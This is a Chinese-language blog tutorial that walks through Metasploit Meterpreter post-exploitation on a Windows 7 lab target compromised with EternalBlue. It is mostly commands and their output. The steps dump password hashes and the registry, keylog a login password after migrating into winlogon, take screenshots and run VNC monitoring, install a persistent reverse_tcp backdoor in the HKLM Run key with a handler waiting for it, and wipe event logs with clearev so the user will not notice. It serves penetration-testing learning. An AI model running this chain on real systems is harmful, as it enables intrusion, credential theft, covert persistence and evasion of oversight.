background:返回,把meterpreter后台挂起

sessions:查看当前建立的会话

ps:查看进程

getpid:查看当前进程号

sysinfo:查看系统信息

getsystem:自动提权

getuid:查看当前权限

run scraper:获取目标主机的详细信息

cat、cd、rm、edit:访问文件系统

run post/windows/gather/enum_applications:先查看目标主机安装了哪些应用

screenshot:屏幕截图

keyscan_start、keyscan_dump、keyscan_stop:键盘记录

run vnc:屏幕监控

本处我们采用之前的永恒之蓝漏洞进行展示

先按照上面的流程将永恒之蓝复现获取shell

meterpreter > background 
[*] Backgrounding session 1...

同exploit -j的效果一样,都是后台挂起会话

我们使用sessions查看

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -l
Active sessions
===============

  Id  Name  Type      Informat  Connecti
                      ion       on
  --  ----  ----      --------  --------
  1         meterpre  NT AUTHO  192.168.
            ter x64/  RITY\SYS  11.129:4
            windows   TEM @ WI  444 -> 1
                      N-B288VI  92.168.1
                      6HEBH     1.135:49
                                159 (192
                                .168.11.
                                135)

使用

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

重新连接

查看进程

meterpreter > ps
Process List
============

 PID   PPID  Name             Arch  Session  User                       Path
 ---   ----  ----             ----  -------  ----                       ----
 0     0     [System Process
             ]
 4     0     System           x64   0
 224   4     smss.exe         x64   0        NT AUTHORITY\SYSTEM        \SystemRoot\System32\smss
                                                                        .exe
 292   284   csrss.exe        x64   0        NT AUTHORITY\SYSTEM        C:\Windows\system32\csrss
                                                                        .exe
 328   284   wininit.exe      x64   0        NT AUTHORITY\SYSTEM        C:\Windows\system32\winin
                                                                        it.exe
 340   320   csrss.exe        x64   1        NT AUTHORITY\SYSTEM        C:\Windows\system32\csrss
                                                                        .exe
 380   320   winlogon.exe     x64   1        NT AUTHORITY\SYSTEM        C:\Windows\system32\winlo
                                                                        gon.exe
 424   328   services.exe     x64   0        NT AUTHORITY\SYSTEM        C:\Windows\system32\servi
                                                                        ces.exe
 432   328   lsass.exe        x64   0        NT AUTHORITY\SYSTEM        C:\Windows\system32\lsass
                                                                        .exe
 440   328   lsm.exe          x64   0        NT AUTHORITY\SYSTEM        C:\Windows\system32\lsm.e
                                                                        xe
 544   424   svchost.exe      x64   0        NT AUTHORITY\SYSTEM
 612   424   svchost.exe      x64   0        NT AUTHORITY\NETWORK SERV
                                             ICE
 664   424   svchost.exe      x64   0        NT AUTHORITY\LOCAL SERVIC
                                             E
 724   424   spoolsv.exe      x64   0        NT AUTHORITY\SYSTEM        C:\Windows\System32\spool
                                                                        sv.exe
 776   424   svchost.exe      x64   0        NT AUTHORITY\SYSTEM
 828   424   svchost.exe      x64   0        NT AUTHORITY\SYSTEM
 896   424   sppsvc.exe       x64   0        NT AUTHORITY\NETWORK SERV
                                             ICE
 940   424   svchost.exe      x64   0        NT AUTHORITY\LOCAL SERVIC
                                             E
 1000  424   svchost.exe      x64   0        NT AUTHORITY\LOCAL SERVIC
                                             E
 1012  424   svchost.exe      x64   0        NT AUTHORITY\NETWORK SERV
                                             ICE
 1196  424   taskhost.exe     x64   1        WIN-B288VI6HEBH\admin      C:\Windows\system32\taskh
                                                                        ost.exe
 1296  424   SearchIndexer.e  x64   0        NT AUTHORITY\SYSTEM
             xe
 1376  776   dwm.exe          x64   1        WIN-B288VI6HEBH\admin      C:\Windows\system32\Dwm.e
                                                                        xe
 1392  1340  explorer.exe     x64   1        WIN-B288VI6HEBH\admin      C:\Windows\Explorer.EXE
 1572  424   svchost.exe      x64   0        NT AUTHORITY\LOCAL SERVIC
                                             E
 1664  424   svchost.exe      x64   0        NT AUTHORITY\NETWORK SERV
                                             ICE
 1808  424   svchost.exe      x64   0        NT AUTHORITY\LOCAL SERVIC
                                             E
 2000  544   WmiPrvSE.exe     x64   0        NT AUTHORITY\SYSTEM        C:\Windows\system32\wbem\
                                                                        wmiprvse.exe
 2032  424   svchost.exe      x64   0        NT AUTHORITY\SYSTEM

查看当前的进程号

meterpreter > getpid
Current pid: 724

查看系统信息

meterpreter > sysinfo
Computer        : WIN-B288VI6HEBH                                                                  
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).                                      
Architecture    : x64                                                                              
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

自动提权

meterpreter > getsystem
[-] Already running as SYSTEM

由于当前我们已经是最高权限,所以会失败

查看当前权限

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

获取系统详细信息

meterpreter > run scraper
[*] New session on 192.168.11.135:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\Windows\TEMP\lFQyvFTG.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\Windows\TEMP\ItWcfBzd.reg)
[*] Exception: Rex::TimeoutError Send timed out ["/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:181:in `send_request'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:199:in `_read'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:176:in `read'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/channels/pool.rb:77:in `read'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb:25:in `sysread'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:465:in `download_file'", "(eval):160:in `block in run'", "(eval):153:in `each'", "(eval):153:in `run'", "/usr/share/metasploit-framework/lib/rex/script/base.rb:44:in `eval'", "/usr/share/metasploit-framework/lib/rex/script/base.rb:44:in `run'", "/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:318:in `execute_file'", "/usr/share/metasploit-framework/lib/msf/base/sessions/scriptable.rb:183:in `execute_script'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1502:in `cmd_run'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:102:in `run_command'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:64:in `block in interact'", "/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:163:in `run'", "/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:62:in `interact'", "/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:565:in `_interact'", "/usr/share/metasploit-framework/lib/rex/ui/interactive.rb:53:in `interact'", "/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1682:in `cmd_sessions'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'", "/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'", "/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:168:in `run'", "/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/usr/bin/msfconsole:23:in `<main>'"]

获取到的信息全部保存在

ls ~/.msf4/logs/scripts/scraper/192.168.11.135_20230831.422531219
env.txt    hashes.txt  HKLM.reg        nethood.txt  services.txt  systeminfo.txt  users.txt
group.txt  HKCU.reg    localgroup.txt  network.txt  shares.txt    system.txt

查看目标机器安装了哪些应用

meterpreter > run post/windows/gather/enum_applications
[*] Enumerating applications installed on WIN-B288VI6HEBH                
                                                                         
Installed Applications                                                   
======================                                                   
                                                                         
 Name  Version                                                           
 ----  -------                                                           
                                                                         
                                                                         
[+] Results stored in: /root/.msf4/loot/20230831034956_default_192.168.1107.txt

可以看到没有任何应用,因为我新开的靶机没有进行安装,所以扫不到应用,同时它也会将扫描到的结果保存在一个文件中

屏幕截图

截取当前屏幕的截图

meterpreter > screenshot
Screenshot saved to: /usr/share/metasploit-framework/AoUvtimi.jpeg

同时他也会将文件保留,我们访问一下这个文件
请添加图片描述
可以看到确实进行了屏幕截图并保存

屏幕监控

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.11.129 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\FlqqRKTAwzAk.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.11.129:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "win-b288vi6hebh"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

执行成功之后会弹出窗口进行实时的屏幕监控

结果如下
请添加图片描述
进程迁移

使用getpid查看当前的进程

并将进程切换到winlogon.exe的进程

380   320   winlogon.exe
meterpreter > migrate 380
[*] Migration completed successfully.

成功切换

键盘记录

键盘记录必须绑定进程,才能获取键盘输入

先绑定完才能进行键盘监听的进程

我们此处绑定winlogon.exe的进程,因为它是登录相关的进程

我们可以藉此获取登录密码

首先绑定winlogon.exe的进程

1460  1712  winlogon.exe

可以看到进程为1460

绑定

meterpreter > migrate 1460
[*] Migrating from 2992 to 1460...
[*] Migration completed successfully.

开始键盘监听

我们先将win7锁定,回到登录页面
请添加图片描述
然后输入密码admin

这时候我们返回kali,输出键盘监听的结果

meterpreter > keyscan_dump
Dumping captured keystrokes...
admin<CR>

成功监听到密码

PS:keyscan_stop是停止键盘监听

生成持续性后门

因为 Meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 Meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门只要目标主机开机了,我们就可以连接到该主机。

通过注册表的方式,创建持续性后门,从而达到目标主机一开机我们就可以对其进行连接。

本处我们依旧使用永恒之蓝漏洞作为样例进行解析

选择到永恒之蓝的漏洞exploit,连接到shell

然后输入bg将会话进行挂起,待会进行连接

meterpreter > bg
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

现在我们可以看到session编号是2,待会我们会使用这个session

然后我们不要使用它默认的payload

将payload进行更换

查看所有的payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads 

更换payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/persistence

查看需要添加的参数

msf6 exploit(windows/local/persistence) > show options
Module options (exploit/windows/local/persistence):                                                            
                                                                                                               
   Name      Current Setting  Required  Description                                                            
   ----      ---------------  --------  -----------
   DELAY     10               yes       Delay (in seconds) for persistent payload to keep reconnecting back.
   EXE_NAME                   no        The filename for the payload to be used on the target host (%RAND%.ex
                                        e by default).
   PATH                       no        Path to write payload (%TEMP% by default).
   REG_NAME                   no        The name to call registry value for persistence on target host (%RAND
                                        % by default).
   SESSION                    yes       The session to run this module on
   STARTUP   USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM)
   VBS_NAME                   no        The filename to use for the VBS persistent script on the target host
                                        (%RAND% by default).


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.11.129   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Windows

对应是yes的参数就是必填参数

DELAY、SESSION、STARTUP、EXITFUNC、LHOST、LPORT

已经填入参数的的部分我们及基本不用进行修改,除了STARTUP对应的USER权限过低,我们要将其改成SYSTEM提高权限。

先进行设置session

msf6 exploit(windows/local/persistence) > set SESSION 2
SESSION => 2

然后我们更改USER为SYSTEM

msf6 exploit(windows/local/persistence) > set STARTUP SYSTEM
STARTUP => SYSTEM

接下来就可以直接运行

将这个服务写入靶机的注册表里面

msf6 exploit(windows/local/persistence) > run
[*] Running persistent module against WIN-B288VI6HEBH via session ID: 2
[+] Persistent VBS script written on WIN-B288VI6HEBH to C:\Windows\TEMP\EMjGouItv.vbs
[*] Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShwaKYPpokUR
[+] Installed autorun on WIN-B288VI6HEBH as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShwaKYPpokUR
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/WIN-B288VI6HEBH_20230901.0315/WIN-B288VI6HEBH_20230901.0315.rc

接下来我们只需要进行监听就可以了

msf6 exploit(windows/local/persistence) > back

选择监听模块

msf6 > use exploit/multi/handler

设置payload

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

查看缺失的必选参数

msf6 exploit(multi/handler) > show missing
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name   Current Set  Required  Description
          ting
   ----   -----------  --------  -----------
   LHOST               yes       The listen addre
                                 ss (an interface
                                  may be specifie
                                 d)

可以看到这里缺失的是LHOST,所以这边我们要填写本机的IP地址

msf6 exploit(multi/handler) > set LHOST 192.168.11.129

检查一下Windows靶机中注册表有没有写入
请添加图片描述
可以看到已经成功写入

然后直接运行,开始监听(到这边已经正式脱离了永恒之蓝漏洞了)

msf6 exploit(multi/handler) > run

请添加图片描述

清除事件日志

Windows系统会自动将所有的登录信息记录到登录日志当中去
请添加图片描述
在这边,我们可以看到许多特殊登录的信息,这就是我们通过后门进行登录的信息,我们得清除这些信息,才能让使用者不会发现我们。

清除事件日志命令

meterpreter > clearev 
  • 15
    点赞
  • 52
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值